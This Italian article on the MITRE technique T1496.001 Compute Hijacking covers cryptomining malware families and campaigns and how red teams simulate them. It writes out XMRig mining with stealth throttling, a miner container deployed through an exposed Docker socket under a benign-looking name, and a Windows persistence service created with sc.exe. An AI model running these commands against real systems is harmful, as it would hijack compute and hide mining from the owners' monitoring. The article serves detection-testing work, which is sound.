Dirottamento Risorse di Calcolo: Compute Hijacking (T1496.001)
La tecnica T1496.001 — Compute Hijacking descrive l'abuso delle risorse computazionali di sistemi compromessi per eseguire attività ad alta intensità di calcolo, tipicamente il mining di criptovalute. MITRE la colloca nella tattica TA0040 (Impact) perché degrada la disponibilità dei servizi ospitati, satura CPU e GPU, aumenta i costi cloud e in alcuni casi rende le macchine bersaglio completamente non responsive.
Gli obiettivi preferiti sono server on-premise, istanze IaaS e ambienti containerizzati, dove la disponibilità di risorse è elevata e la scalabilità orizzontale via API esposte (Docker socket, Kubernetes API) permette di moltiplicare i worker di mining con poche chiamate. Anche gli endpoint utente vengono colpiti, soprattutto in campagne opportunistiche veicolate da loader come DarkGate o Bonadan.
Un tratto distintivo del cryptomining malware è la competizione per le risorse: molte famiglie (Kinsing, Hildegard, Lucifer) enumerano e terminano processi di miner rivali per massimizzare l'hashrate del proprio wallet. La statistica MITRE conta 4 gruppi APT, 9 famiglie software e 1 campagna documentata, ma il fenomeno reale è molto più diffuso perché il mining è un vettore di monetizzazione a bassa barriera, spesso deployato come payload secondario dopo un initial access opportunistico. La campagna ShadowRay (C0045) ha dimostrato come anche l'infrastruttura AI — con GPU ad alte prestazioni — sia diventata bersaglio primario.
In un ingaggio red team la simulazione di Compute Hijacking serve a validare la capacità del cliente di rilevare workload anomali e abusi di risorse cloud, non a generare profitto. La regola d'ingaggio è chiara: usare pool di mining privati o dummy binary che simulano il pattern CPU senza connettersi a reti reali.
Su Linux il tool di riferimento in laboratorio è XMRig (open source), lo stesso usato da TeamTNT, Lucifer e Hildegard. Il binario si compila da sorgente e si lancia contro un pool controllato:
xmrig -o pool.lab.internal:3333 -u wallet.worker -p x --cpu-max-threads-hint=50
Il flag --cpu-max-threads-hint è utile per simulare mining "stealth" che limita il consumo per evadere soglie di alerting. Per il pattern containerizzato tipico di TeamTNT, il red teamer può replicare il deploy via Docker socket esposto:
docker -H tcp://target:2375 run -d --name nginx-helper xmrig/xmrig -o pool.lab.internal:3333
L'immagine viene volutamente rinominata con label benigni per testare la detection basata su naming convention. In ambiente Kubernetes, la stessa logica si applica creando un Deployment con un manifest YAML che monta hostPath e privilegi elevati — uno scenario documentato nelle campagne Kinsing.
Su Windows lo scenario è diverso: Blue Mockingbird ha usato XMRIG lanciato come servizio via sc.exe create dopo aver ottenuto SYSTEM tramite exploit di Telerik UI. Un red teamer può replicare la persistenza con:
sc.exe create WinHelperSvc binPath= "C:\ProgramData\svc.exe -o pool:3333 -u user" start= auto
abbinato a una scheduled task che rilancia il processo se terminato.
Per testare la superficie IaaS, tool come Pacu (open source, framework AWS exploitation di Rhino Security Labs) o ScoutSuite (open source) permettono di enumerare API keys esposte e simulare la creazione non autorizzata di istanze EC2 spot o GPU-backed in regioni inutilizzate — pattern osservato in numerose campagne di cloud cryptojacking.
Per la fase di GPU mining tipica di ShadowRay, il laboratorio deve includere nodi con GPU NVIDIA e strumenti come nvidia-smi per misurare l'impatto. La ricerca di endpoint Ray Dashboard esposti si simula con Shodan CLI (freemium) o nuclei (open source) usando template custom per la porta 8265. Documentare metriche di consumo prima e dopo il deploy fornisce al SOC del cliente il materiale per calibrare le soglie.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo
2 minuti · 7 domande
Che professionista cyber sei?
Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.